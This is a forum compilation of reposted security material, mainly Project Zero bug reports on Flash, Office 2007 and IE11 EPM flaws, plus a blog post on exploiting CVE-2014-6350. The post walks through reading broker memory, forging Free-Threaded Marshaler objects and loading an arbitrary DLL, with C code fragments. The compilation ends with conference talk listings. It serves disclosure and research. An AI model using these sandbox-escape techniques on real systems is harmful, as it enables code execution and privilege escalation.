Nytro

Flash heap buffer overflow calling Camera.copyToByteArray() with a large ByteArray This bug came out of a conversation with Nicolas Joly. I don't feel comfortable claiming any credit but I'll happily take on the co-ordination. i.e. please credit simply "Nicolas Joly" This is extremely similar to https://code.google.com/p/google-security-research/issues/detail?id=46 The main difference is that in order to trigger the bug, it is necessary for the user to click through the camera permission dialog, which lowers the severity. Source and compiled SWF attached. Faults my Chrome Linux x64 every time, Flash v15.0.0.152. Note that you'll need to click "ok" on all the permission dialogs before a timer fires at the 2 second mark. If you miss, just refresh and try again. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] CameraCopyToByteArrayBug.as 942 bytes Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] CameraCopyToByteArrayBug.swf 898 bytes Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=116&can=1

Microsoft Office 2007 lcbPlcffndTxt/fcPlfguidUim memory corruption The following access violation was observed in Microsoft Office 2007: (7b4.d5c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000245d ebx=00003db4 ecx=03b57000 edx=000877e6 esi=0000001a edi=00087800 eip=31af194a esp=0011f654 ebp=0011f65c iopl=0 nv up ei ng nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010287 wwlib!wdCommandDispatch+0x46a0c3: 31af194a 66833c7900 cmp word ptr [ecx+edi*2],0x0 ds:0023:03c66000=???? 0:000> k ChildEBP RetAddr 0011f65c 31818c6d wwlib!wdCommandDispatch+0x46a0c3 0011f690 319cf050 wwlib!wdCommandDispatch+0x1913e6 0011f6b4 315f0209 wwlib!wdCommandDispatch+0x3477c9 0011f998 31974378 wwlib!DllGetClassObject+0x174e62 0011ff88 3134ed9a wwlib!wdCommandDispatch+0x2ecaf1 00120194 3134eb07 wwlib!FMain+0x10a7eb 0012022c 6bdd1d83 wwlib!FMain+0x10a558 001202dc 6bdd24c8 MSPTLS!LssbFIsSublineEmpty+0x22cb 0012035c 6bddf8e0 MSPTLS!LssbFIsSublineEmpty+0x2a10 001203c0 6bddff5d MSPTLS!LssbFIsSublineEmpty+0xfe28 001203f0 6bddf1ef MSPTLS!LssbFIsSublineEmpty+0x104a5 001205f4 6bdc4b85 MSPTLS!LssbFIsSublineEmpty+0xf737 00120628 312dc82a MSPTLS!LsCreateLine+0x23 0012069c 312dc243 wwlib!FMain+0x9827b 00120704 312dbc97 wwlib!FMain+0x97c94 001207f4 6be51b27 wwlib!FMain+0x976e8 00120894 6be5c65b MSPTLS!FsDestroyMemory+0x1ee4e 00120a0c 6be5c94c MSPTLS!FsDestroyMemory+0x29982 00120a58 6be36d59 MSPTLS!FsDestroyMemory+0x29c73 00120ac4 6be37f87 MSPTLS!FsDestroyMemory+0x4080 Notes: - Reproduces on Windows Server 2003 and Windows 7. Running the sample with a fresh filename each time is recommended due to document recovery interfering with reproduction on subsequent attempts. - The accessed page is in state MEM_FREE. - The crashing function reads off the end of a heap segment. It appears to be counting the number of positive non-zero SHORT values in an array from a supplied offset. - The array bounds are supplied in the second argument to the function. In the crashing case, this bounds value is set to 0x02000005. - The same invalid bounds value is used in an immediately subsequent function call in a calculation of the destination buffer address for a memcpy, which suggests this bug is sufficient to cause memory corruption. - The test case reduces to a 2-bit difference from the original sample document. - The affected bits are in the lcbPlcffndTxt field of the FibRgFcLcb97 (or FIBTable97) structure, and the fcPlfguidUim field of the FibRgFcLcb2002 (or FIBTable2002) structure. - Attached samples: 12c4c461_1_crash.doc (crashing file), 12c4c461_1_orig.doc (original file) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] 12c4c461_1_crash.doc 149 KB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 12c4c461_1_orig.doc 149 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=108&can=1

Microsoft Office 2007 TTDeleteEmbeddedFont handle double delete The following access violation was observed in Microsoft Office 2007: (7a4.808): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=feeefeee ecx=7ffdf000 edx=00150608 esi=00150000 edi=feeefee6 eip=7c87c9e1 esp=0012f244 ebp=0012f298 iopl=0 nv up ei pl zr na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ntdll!RtlDebugFreeHeap+0x82: 7c87c9e1 0fb707 movzx eax,word ptr [edi] ds:0023:feeefee6=???? 0:000> k ChildEBP RetAddr 0012f298 7c85567a ntdll!RtlDebugFreeHeap+0x82 0012f370 7c83e448 ntdll!RtlFreeHeapSlowly+0x37 0012f454 73c37fb4 ntdll!RtlFreeHeap+0x11a 0012f468 73c34a77 T2EMBED!T2free+0x1d 0012f86c 31dbbb54 T2EMBED!TTDeleteEmbeddedFont+0x7c 0012f884 31dbbae9 wwlib!DllCanUnloadNow+0x25fbcb 0012f8ec 313406d8 wwlib!DllCanUnloadNow+0x25fb60 0012f92c 3135944d wwlib!FMain+0xfc129 0012f950 3135926c wwlib!FMain+0x114e9e 0012f95c 31359231 wwlib!FMain+0x114cbd 0012f984 31244c5b wwlib!FMain+0x114c82 0012ff10 300015fb wwlib!FMain+0x6ac 0012ff30 3000156d winword+0x15fb 0012ffc0 77e6f32b winword+0x156d 0012fff0 00000000 kernel32!BaseProcessStart+0x23 Notes: - Reproduces on Windows Server 2003 (as an access violation) and Windows 7 (as a heap critical error) - Opening the document causes “Word experienced an error trying to open the file.” dialog. After closing the dialog, and then closing Word, the crash occurs. - The dereference of the “heap free checking constant” suggests use-after-free. - Analysis shows the third argument of RtlpDebugPageHeapFree is 0xfeeefeee - this suggests that a pointer from a previously freed chunk is itself being freed. - The callstack may suggest a misuse of the font embedding API. For example, this could be caused by multiple calls to TTDeleteEmbeddedFont using the same font reference handle. - Breakpointing the TTDeleteEmbeddedFont and recording the handle argument confirms that a font reference handle is deleted twice. - The test case reduces to a 1-bit difference from the original sample document. - The affected bit is in the lcbSttbfBkmkArto field of the FibRgFcLcb2007 (or FIBTable2007) structure. - Attached samples: 9adcab7c_1_crash.doc (crashing file), 9adcab7c_1_orig.doc (original file) This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD=width: 20] [/TD] [TD] 9adcab7c_1_crash.doc 1.2 MB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 9adcab7c_1_orig.doc 1.2 MB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=107&can=1

IE11 EPM Parent Process DACL Sandbox Escape Products affected: IE 11.0.9600.17239 in EPM. When running in EPM the main IE process running at medium has a weak DACL which allows sandboxed IE tabs to open the process with PROCESS_VM_READ access. This could allow an attacker to read out process secret information and potentially break out of the sandbox. The most immediate PoC I could come up with is abusing the CShDocVwBroker::GetFileHandle function. This is used to get a file read handle to a process but relies on having a SHA256_HMAC hash of the file path where the secret value is generated on a per-process basis. With the read access we can extract the per-process secret value and forge a valid token to access any file on the file system which the EPM process would not normally be able to do. However I know it's possible to use this access to attack other things to achieve a full sandbox escape. Provided is a PoC with 64 bit binaries and source. To test the PoC perform the following: 1) Copy injectdll.exe and testdll.dll to a directory. 2) Add ALL_APPLICATION_PACKAGES ACE to the directory to allow EPM to access the DLL 3) Ensure EPM is enabled in IE (and it's running 64 bit tabs). 4) Start desktop IE and navigate to an internet zone webpage. Right click the page and choose properties to verify page rendered with EPM 5) Find the PID of the EPM process then run 'injectdll pid testdll.dll' 6) If successful a message box should appear indicating that bootmgr has been opened. If you inspect the handle table of the IE EPM process a handle to bootmgr for read access should be present. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] poc.7z 69.0 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=97&can=1

IE11 ImmutableApplicationSettings EPM Privilege Escalation Products affected: IE 11.0.9600.17239 Desktop in EPM. IE11 exposes a shared memory section to all tab process which contains configuration settings, named Immutable Application Settings. This contains settings such as whether protected mode is currently enabled. The vulnerability is due to a permissive DACL on the section object. While it's shared read-only to all EPM tabs the DACL permits the IE EPM SID to reopen the section read/write. With this it's possible to unset the protected mode flag for new tabs then navigate to another page which exploits an RCE vulnerability. The simplest way to achieve this is to just call ExitProcess, in the exploit. The tab recovery mechanism will restart the exploiting page automatically but now without EPM enabled. An attacker could then reuse their original RCE to break out of the sandbox. It is probably also possible to directly escape from a compromised sandbox process however I've not attempted to do that. This might not work to break out of Metro mode IE as that shouldn't be able to disable EPM, however there might be other configuration settings accessible which would weaken the security of the browser such as COM proxy wrappers. Provided is a PoC with 32 bit binaries and source. To test the PoC perform the following: 1) Copy injectdll.exe and testdll.dll to a directory. 2) Add ALL_APPLICATION_PACKAGES ACE to the directory to allow EPM to access the DLL 3) Ensure EPM is enabled in IE (and it's running 32 bit mode). It doesn't work in normal PM (the DACL is correct in PM's case). 4) Start desktop IE and navigate to an internet zone webpage. Right click the page and choose properties to verify page rendered with EPM 5) Find the PID of the EPM process then run 'injectdll pid exploit.dll' 6) Tab recovery should reload the web page, if you now right click properties it should indicate that there's no longer any protected mode enabled. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] poc.7z 84.3 KB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=95&can=1

Internet Explorer EPM Sandbox Escape CVE-2014-6350 Posted by James Forshaw This month Microsoft fixed 3 different Internet Explorer Enhanced Protected Mode (EPM) sandbox escapes which I disclosed in August. Sandboxes are one of the main areas of interest for Project Zero (and me in particular) as they are choke points for an attacker successfully exploiting a remote code execution vulnerability. All three bugs are fixed in MS14-065, you can read the original reports here, here and here. CVE-2014-6350 is perhaps the most interesting of the bunch, not because the bug is particularly special but the technique to exploit it to get code execution out of the sandbox is unusual. It demonstrates a potential attack against DCOM hosts if there’s an accompanying memory disclosure vulnerability. This blog post is going to go into a bit more detail about how you can exploit the vulnerability. What Was the Vulnerability? The vulnerability was due to weak permissions on the broker process when IE is running in EPM mode. This didn’t actually affect the old Protected Mode (PM) for reasons I’ll soon explain. The EPM sandbox contains the untrusted tab processes which handle internet content, the broker process acts a mediator providing privileged services to the tabs when required. Interaction between the tabs and the broker uses a DCOM based IPC mechanism. Knowing how the Windows Access Check works we should be able to determine what permissions you’d receive if you tried to open the broker process from the EPM sandbox. The access check used for code running in an AppContainer is slightly more complicated than the normal Windows one. Instead of a single access check there are two separate checks performed to calculate the maximum granted set of permissions for the Discretionary Access Control List (DACL). The first check is done against the normal user and group SIDs in the token, the second is based on the capabilities SIDs. The bitwise AND between the two sets of permissions is the maximum grantable permissions (we’re going to ignore deny ACEs as they’re not relevant to this discussion). Now let’s take a look at the DACL for the broker process. A simplified form is shown in the table below. The first pass of the access check will match against the Current User SID which gives granted access of Full Control (show in Red). The second pass for the capability will match the IE Capability SID (show in Blue), once combined together the maximum permissions is Read Memory, Query Information. The fact that we can get Read Memory permissions is the vulnerability which Microsoft fixed. [TABLE] [TR] [TD=bgcolor: #b7b7b7] User[/TD] [TD=bgcolor: #b7b7b7] Permissions[/TD] [/TR] [TR] [TD] S-1-15-3-4096 (IE Capability SID)[/TD] [TD] Read Memory, Query Information[/TD] [/TR] [TR] [TD] Current User[/TD] [TD] Full Control[/TD] [/TR] [TR] [TD] SYSTEM [/TD] [TD] Full Control[/TD] [/TR] [/TABLE] We can call OpenProcess passing it the PID of the broker and the desired access of PROCESS_VM_READ and the kernel will return the sandboxed process an appropriate handle. With this handle it’s trivial to read arbitrary memory from the broker using the ReadProcessMemory API. This even correctly handles invalid memory addresses so nothing should crash unexpectedly. BOOL ReadMem(DWORD ppid, LPVOID addr, LPVOID result, SIZE_T size) { HANDLE hProcess = OpenProcess(PROCESS_VM_READ, FALSE, ppid); BOOL ret = FALSE; if(hProcess) { ret = ReadProcessMemory(hProcess, addr, result, size, NULL); CloseHandle(hProcess); } return ret; } Things get a bit more complicated if you’re on 64-bit Windows and trying to exploit from a 32-bit tab process, Wow64 gets in the way. You can’t directly use ReadProcessMemory to read memory from the 64-bit broker. You can use something like wow64ext to get around this limitation, but for now we’ll just ignore it. But wait, what about PM, why isn’t the bug there as well? In PM only the single access check is performed so we should get Full Control but we don’t due to the Mandatory Integrity Label (IL) feature introduced in Windows Vista. When a process tries to open another the access check in the kernel will first compare the IL of the calling process against the value specified in the target process’ System ACL (SACL). If the calling process’ IL is lower than that specified by the target process the maximum access is limited to a small subset of the available access permissions (such as PROCESS_QUERY_LIMITED_INFORMATION). This will block PROCESS_VM_READ or anything more dangerous even before the DACL is checked. Okay so let’s take a look at the token for the EPM sandboxed process in Process Explorer, we can clearly see the token has the Low Mandatory Level (highlighted in the below screenshot). Curiously the AppContainer access check seems to ignore the IL at least for any resource with a Medium (the default) and below level. If a resource passed the DACL check then those permissions are granted regardless of the IL. This seems to work for any securable resource including files and registry keys. I don’t know if this is by design but it seems like a weakness, if the IL was being checked this issue would have never existed. Exploiting the Vulnerability The original PoC supplied in the issue tracker exploited a method in one of the broker IPC interfaces to read arbitrary files on the system. By reading a per-process HMAC key the PoC could forge a valid token and call the appropriate method (CShDocVwBroker::GetFileHandle) to open the file. This is useful for EPM because the AppContainer prevents reading arbitrary files. Still this is only a read, not a write. Ideally we would like to be able to completely escape the sandbox, not just disclose the contents of files. This might initially seem like a difficult task, but it turns out there are more technologies which use per-process secrets to make themselves secure. One such technology is my all-time favourite Windows technology, COM (I might be joking when I say that). Turns out there’s a way of getting code execution in many application which implement remote COM services, as long as we’re able to disclose the content of the hosting process. COM Threading Models, Apartments and Interface Marshaling COM is used by many different components in Windows from the Explorer Shell to local privileges services such as BITS. Each use case has different requirements and restrictions, for example UI code needs all code to run on a single thread otherwise the the OS will get unhappy. On the other hand a utility class might be completely thread safe. To support these requirements COM supports a couple of threading models which relieves some of the burden on the programmer. An object is contained within an Apartment which defines how methods on the object can be called. There are two types of Apartments, Single Threaded Apartment (STA) and Multi Threaded Apartment (MTA). When considering how these apartments interact with how methods are called we need to define the relationship between the caller and the object. For that we’ll define the caller of methods as the Client and the object as the Server. The Client’s Apartment is determined by the flag passed to CoInitializeEx (we default to STA if the “legacy” CoInitialize is called instead). The Server’s apartment depends on the COM object threading model definition in the Windows registry. This can be one of three settings, Free (means multi-threaded), Apartment (means single-threaded) and Both. If the Client and Server have compatible apartments (which really only occurs when the server object is registered as supporting both threading models). then calls made to the object are direct function pointer dereferences via the object’s virtual function table. However in the case of STA calling MTA or MTA calling STA we need to proxy the calls in someway, COM does this through the process of Marshaling. We can summarise this in the following table. [TABLE] [TR] [TD=bgcolor: #b7b7b7] Client[/TD] [TD=bgcolor: #b7b7b7] Server[/TD] [TD=bgcolor: #b7b7b7] Inter-object communication via:[/TD] [/TR] [TR] [TD] STA[/TD] [TD] Free[/TD] [TD] Marshaling, unless server implements the free-threaded marshaler and is in the same process[/TD] [/TR] [TR] [TD] MTA[/TD] [TD] Apartment[/TD] [TD] Marshaling[/TD] [/TR] [TR] [TD] STA[/TD] [TD] Both[/TD] [TD] Direct Access[/TD] [/TR] [TR] [TD] MTA[/TD] [TD] Both[/TD] [TD] Direct access[/TD] [/TR] [/TABLE] Marshaling refers to the process of serializing method calls to the Server object. This is especially important in STA as all methods must be called on a single thread. This is typically coordinated using a Windows message loop, in fact if your application has no windows or message loop it will create them for you if you create a STA. When a Client calls an object in an incompatible apartment it really calls a special proxy object. This proxy knows about each different COM interface and method, including what parameters each method takes. The proxy takes the parameters, serializes the information using the built-in COM marshaling code and packages them up to be sent to the server. At the server side a dispatcher unmarshals the parameters and then invokes the appropriate method on the Server object. Any return values are sent back to the client in the same way. It turns out this model works equally well in-process as it does between processes using DCOM. The same Marshaling techniques of proxies and dispatcher works between processes or computers. The only difference is the transport for the marshaled parameters, instead of in-memory for a single process it might use local RPC, named pipes or even TCP depending on where the Client and Server are located. The Free-Threaded Marshaler Okay so how’s this going to help in exploiting the memory disclosure vulnerability? To understand I need to describe something called the Free-Threaded Marshaler (FTM). This is referred to in the previous table when a STA Client calls a method on a multi-threading capable Server. It seems awfully wasteful that the Client needs to go through this whole proxing/marshaling effort. Can’t it just call the object directly? This is what the FTM solves. When a COM object is instantiated in an incompatible apartment a reference to that object must be passed back to the caller. This is achieved using the same marshaling operations as during a call. In fact this same mechanism is used when a call is made to a object method which takes COM object parameters. The mechanism the marshaler uses to pass this reference is to build a special data stream called an OBJREF. This stream contains all the information a Client needs to construct a proxy object and contact the Server. This implements a pass-by-reference semantic for COM objects. An example of an OBJREF is shown below: In some scenarios though it makes sense to pass an object by-value, for example this would eliminate the proxy. For that purpose the OBJREF stream can also use pass-by-value semantics where all the data needed to reconstruct the original object in the Client’s apartment is specified. When the unmarshaler reconstructs the object, instead of getting a proxy it creates and initializes a brand new copy of the original object. An object can implement it’s own pass-by-value semantics by implementing the IMarshal interface. This feature is used by the FTM to “cheat” the system. Instead of passing across the original object’s data, it instead just passes a pointer to the original object in memory serialized in the OBJREF. When unmarshaled this pointer is deserialized and returned to the caller. It acts as a fake-proxy and effectively just allows direct calls to be made on the original object. Now if at this point you might be getting uncomfortable that’s understandable. As the marshaler is little different between DCOM and in-process COM this is surely a massive security hole? Fortunately not, the FTM doesn’t just send the pointer value it also tries to ensure only the same process which marshaled the pointer can unmarshal it again. It does this by generating a per-process 16 byte random value which is attached to the serialized data. When deserializing the FTM checks that the value matches the one in the current process, rejecting anything which is incorrect. The assumption here is an attacker can’t guess or brute-force such a value, therefore the FTM will never unmarshal an invalid pointer. But this threat model obviously doesn’t take into account being able to read process memory, and it just so happens we have just such a vulnerability. The implementation of the FTM lies in combase.dll specifically the CStaticMarshaler class. For Windows 7 it’s in ole32.dll and is called CFreeMarshaler instead. Looking at CStaticMarshaler::UnmarshalInterface we have code which is roughly as follows: HRESULT CStaticMarshaler::UnmarshalInterface(IStream* pStm, REFIID riid, void** ppv) { DWORD mshlflags; BYTE secret[16]; ULONGLONG pv; if (!CStaticMarshaler::_fSecretInit) { return E_UNEXPECTED; } pStm->Read(&mshlflags, sizeof(mshlflags)); pStm->Read(&pv, sizeof(p)); pStm->Read(secret, sizeof(secret)); if (SecureCompareBuffer(secret, CStaticMarshaler::_SecretBlock)) { *ppv = (void*)pv; if ((mshlflags == MSHLFLAGS_TABLESTRONG) || (mshlflags == MSHLFLAGS_TABLEWEAK)) { ((IUnknown*)*ppv)->AddRef(); } return S_OK; } else { return E_UNEXPECTED; } } Note that the method checks that the secret is initialized first, this prevents accidentally using a zero-secret value if it was uninitialized. Also note the use of a secure comparison function to combat timing attacks against the secret check. Actually this is a case of not-back porting fixes. In Windows 7 the comparison uses a repe cmdsd instruction, which isn’t constant time. Therefore on Windows 7 you might be able to exploit this check by mounting a side-channel timing attack, although I think it would be pretty complex and time consuming to do so. In the end our structure looks like the following: In order to exploit this in our code we need to implement the IMarshal interface on our COM object. Specifically we need to implement two methods, IMarshal::GetUnmarshalClass which returns the CLSID of the COM object to use when reconstructing the code and IMarshal:MarshalInterface which will package up the appropriate pointer value for the exploit. A simple example is shown below: GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } }; HRESULT STDMETHODCALLTYPE CFakeObject::GetUnmarshalClass( REFIID riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) { memcpy(pCid, &CLSID_FreeThreadedMarshaller, sizeof(CLSID_FreeThreadedMarshaller)); return S_OK; } HRESULT STDMETHODCALLTYPE CFakeObject::MarshalInterface( IStream *pStm, REFIID riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) { pStm->Write(&_mshlflags, sizeof(_mshlflags), NULL); pStm->Write(&_pv, sizeof(_pv), NULL); pStm->Write(&_secret, sizeof(_secret), NULL); return S_OK; } Simple enough. We’ll get to how this is used later. Escaping the Sandbox With the background out of the way it’s time to escape the sandbox. There are three things we need to do to get code execution from the sandbox in the broker process: Extract the FTM per-process secret from the broker. Construct a fake v-table and a fake object pointer. Marshal an object into the broker to get code executed. Extract Per-Process Secret This should be a pretty easy task, we know where the secret’s held in memory as the load address of combase.dll is going to be the same in the sandbox process as the broker process. Even though Windows Vista introduced ASLR system DLLs are only randomised once at boot, therefore combase.dll is going to be mapped to the same location in every process. This is a weakness in ASLR on Windows, especially for local privilege escalation .But if you dump the values during normal IE operation you’ll see a problem: Unfortunately the FTM isn’t initialized, which means that we couldn’t exploit this even if we wanted to. So how are we going to get it to initialize from the sandboxed process? We just need to get the broker to do more COM stuff, specifically something which is likely to invoke the FTM. For that we can use the file open/save dialog. This dialog actually hosts the Explorer Shell (well really shell32.dll) which uses COM under the hood. As it’s also a UI then it will almost certainly use an STA but could call into Free Threaded objects which would invoke the FTM. So lets just try and open the dialog manually and see. Much better. The real reason to choose this is we can open the dialog from the sandboxed process using the IEShowSaveFileDialog API call (which is actually implemented by various broker calls). Obviously this will display some UI but it doesn’t really matter, by the time the dialog is displayed the FTM is already initialized, there isn’t anything the user could do about it. For now we’ll just hard code the offsets into combase.dll. But of course you could find them dynamically by initializing the FTM in the sandboxed process and finding the offset through a memory search for the marshaled secret. Constructing a Fake V-Table Now the next challenge is to get our fake v-table into the broker process. As we can read out the broker’s memory we could certainly do something like heap flooding using one of the broker APIs, but is there an easier way? The IE broker and sandboxed processes share a few memory sections to pass settings and information between themselves. Some of these sections are writable by the sandboxed process, therefore all we need to do is find the corresponding mapping in the broker, then modify to our heart’s content. In this case the section \Sessions\X\BaseNamedObjects\URLZones_user was chosen (where X is the session ID and user is the username), but anything would do as long as it’s already mapped into the broker and writable by the sandboxed process. We don’t have to do much in the way of brute-forcing to find the section. As we can open the process with PROCESS_QUERY_INFORMATION access we can call VirtualQueryEx to enumerate mapped memory sections. As it returns the size we can quickly skip unmapped areas. Then we can look for a canary value we wrote to the section to determine the exact location. DWORD_PTR FindSharedSection(LPBYTE section, HANDLE hProcess) { // No point starting at lowest value LPBYTE curr = (LPBYTE)0x10000; LPBYTE max = (LPBYTE)0x7FFF0000; memcpy(&section[0], "ABCD", 4); while (curr < max) { MEMORY_BASIC_INFORMATION basicInfo = { 0 }; if (VirtualQueryEx(hProcess, curr, &basicInfo, sizeof(basicInfo))) { if ((basicInfo.State == MEM_COMMIT) && (basicInfo.Type == MEM_MAPPED) && (basicInfo.RegionSize == 4096)) { CHAR buf[4] = { 0 }; SIZE_T read_len = 0; ReadProcessMemory(hProcess, (LPBYTE)basicInfo.BaseAddress, buf, 4, &read_len); if (memcmp(buf, "ABCD", 4) == 0) { return (DWORD_PTR)basicInfo.BaseAddress; } } curr = (LPBYTE)basicInfo.BaseAddress + basicInfo.RegionSize; } else { break; } } return 0; } Once we’ve determined the location of the shared memory section we need to build the v-table and the fake object. What should we call through the v-table? You might think at this point it’s time to build a ROP chain, but of course we don’t really need to do that. As all COM calls use the stdcall calling convention where all arguments are placed on the stack we can call any location we like with 1 argument we almost completely control, the this pointer to our fake object. One way of exploiting this is to use a function such as LoadLibraryW and construct the fake object with a relative path to a DLL to load. As long as the v-table pointer doesn’t contain any NULs (which makes this technique less useful on 64-bit I might add) we can remove it from the path and cause it to load the library. We can set the lower 16 bits to any arbitrary value we like to eliminate this problem and while we don’t control the upper 16 bits there’s effectively no chance it would end up as a 0 due to the NULL page protection in Windows preventing allocations below the 64KiB point. In the end our fake object looks like: Of course if you look up the definition of the IUnknown interface which the V-Table implements only AddRef and Release have a compatible signature. If the broker calls QueryInterface on the object then the signature isn’t correct. On 64-bit this wouldn’t matter due to the way parameters are passed but on 32-bit this will cause the stack to be misaligned, not ideal. But it doesn’t really matter, we could always fix this up if it’s a problem or just call ExitProcess from the broker, still if we choose an appropriate method when injecting the object it might never call it at all, which is what we’ll do here. Marshaling an Object into Broker Finally the easy bit, as pretty much all the interfaces to the broker from the sandbox use COM all we need to do is find a call which takes a bare IUnknown pointer and pass it our fake marshaling object. For this purpose I found that you could query for the IEBrokerAttach interface from the Shell Document View broker which has a single function with the following prototype: HRESULT AttachIEFrameToBroker(IUnknown* pFrame); To make this even better before we get hold of the pointer to the broker the frame has already been set, this makes this method fail immediately without touching the pFrame object. Therefore we don’t need to worry about QueryInterface being called. Our exploit is going to run before this function ever gets called so we don’t really care. So we create our fake object and call this method. This will cause the COM infrastructure to marshal our data into an OBJREF. This ends up on the other side of the IPC channel where the COM infrastructure will unmarshal it. This causes the FTM UnmarshalInterface method to be called, and as we’ve successfully discovered the secret value will happily unpack our fake object pointer. Finally the method will call AddRef on the object as we can set the passed mshlflags to MSHLFLAGS_TABLESTRONG. This will execute LoadLibraryW with our fake object as the path parameter. This’ll load an arbitrary DLL into the broker, all that’s required is to pop calc and it’s job done. Finally the real server function will be called, but that returns immediately with an error. Nice clean sandbox escape, even if it requires a fair amount of actual code to achieve. Wrapping it Up So I’ve added a new PoC to the original issue for this bug to demonstrate the attack on 32-bit Windows 8.1 update (obviously without the MS14-065 patch). It won’t work directly on 64-bit Windows 8.1 as the broker process runs as 64-bit even if the tab processes might be 32-bit. You’ll need to be a bit more creative to get it to work on 64-bit, but you can easily get control over RIP so it isn’t a major concern. If you want to test it on an up to date machine, then the PoC contains a tool, SetProcessDACL, which modifies a process’s DACL to re-add read permissions for the IE Capability SID. Hopefully it gives you an idea on how you could exploit similar bugs. Still, let’s not blame COM for this, since it isn’t really its fault. This is only a demonstration of how a relatively innocuous issue, memory disclosure in a privileged process, completely breaks many security assumptions leading to code execution and elevation of privilege. Posted by Chris Evans at 11:29 AM Sursa: Project Zero: Internet Explorer EPM Sandbox Escape CVE-2014-6350

[h=1]LASCON 2010 - Robert "RSnake" Hansen and Josh Sokol - HTTPS Can Byte Me[/h] Robert "RSnake" Hansen and Josh Sokol speaking at LASCON 2010 on "HTTPS Can Byte Me".

[h=1]2012-08-28 - OAuth 2.0 Security (Tom Brown)[/h]

Hacking Exposed: Mobile Edition (Joel Scambray) Description: Hacking Exposed: Mobile Edition (Joel Scambray) For More Information please visit: - https://owasp.org/index.php/OWASP_Events/upcoming_events Sursa: Hacking Exposed: Mobile Edition (Joel Scambray)

Fun With Windows 8 Web Services (Hd Moore) Description: Fun with Windows 8 Web Services (HD Moore) For More Information please visit: - https://owasp.org/index.php/OWASP_Events/upcoming_events Sursa: Fun With Windows 8 Web Services (Hd Moore)

Lascon 2013 - Practical Pki - Steven Bernstein Description: WhiteHat Security Ballroom (Norris Conference Center, 2525 W. Anderson Lane, Suite 365, Austin, Texas 78757) Developer Track Establishing Electronic Trust is becoming a more important part of the digital landscape than ever before. This presentation aims to do two things: One is to use allegory and a story like approach to explain what PKI is without the math. The other seeks to paint a picture of the impact to doing business and where the road looks to be going. Part One: What is PKI in practical terms. It may seem commonplace in the industry by now, but believe you me, there are plenty who don't know a Relying Party from a hole in the ground. We'll cover some of the common terms above and beyond Digital Certificates, how they interact, and how things are managed. An attempt will be made to inject some humor as gravy to what is seen as an otherwise dry topic. This isn't to say this that finger puppets will be used, but for the people want to learn, demystifying information in plain English should be a welcome change. An explanation of the trusted roles involved in deploying certificates, the governance of the system, and the management and distribution of keys will be offered afterwards. Part Two: A few real world examples of how to apply these concepts will then be offered, having established a basic understanding of how the pieces of the jigsaw fit together. Once these topics are briefly covered, it will be time to suggest where things are going based on key events taking place in this ever active and growing industry of Identity Management. Included will be some observed happenings regarding the National Strategy for Trusted Identities in Cyberspace (NSTIC) and the much sought after on-the-fly provisioning methods. For More Information please visit:- | Lonestar Application Security Conference Sursa: Lascon 2013 - Practical Pki - Steven Bernstein

Virus Bulletin - Hypervisor-Based, Hardware-Assisted System Monitoring Description: In the last few years, many different techniques have been introduced to analyse malicious binary executables. Most of these techniques take advantage of Virtual Machine Introspection (VMI), the process of analysing the state of a virtual machine from the outside. On the one hand, many approaches are based on system emulators which enable a tight control over the program execution. Unfortunately, such approaches typically induce a huge performance overhead. On the other hand, there are approaches based on hypervisors. Early implementations were hampered by the missing virtualizability of the x86 instruction set architecture: since the memory management unit (MMU) itself was not virtualized, memory separation needed to be enforced in software with the help of so-called 'shadow page' tables, an approach that again induced performance overhead. However, processor vendors have recently added hardware support for MMU virtualization, and modern CPUs offer so-called 'two-dimensional paging' to overcome such performance bottlenecks. In our presentation we demonstrate how this processor feature can be utilized to implement a binary analysis framework. More specifically, we introduce an approach to monitor code execution based on the concept of Currently eXecutable Pages (CXP), i.e. we precisely control which memory pages are currently executable to enable the interception of intermodular function calls and their corresponding returns. When an interception occurs, we apply VMI to deduce runtime information such as function parameters. To demonstrate the practical feasibility of the proposed approach, we implemented 'VMMInspector', a framework for binary analysis on 64-bit machines and Windows 7. In several case studies we present different usage scenarios for that framework. Amongst other applications, we demonstrate how the kernel rootkit TDSS/TDL4 can be analysed in an automated way. For More information please visit: - https://www.virusbtn.com/index Sursa: Virus Bulletin - Hypervisor-Based, Hardware-Assisted System Monitoring

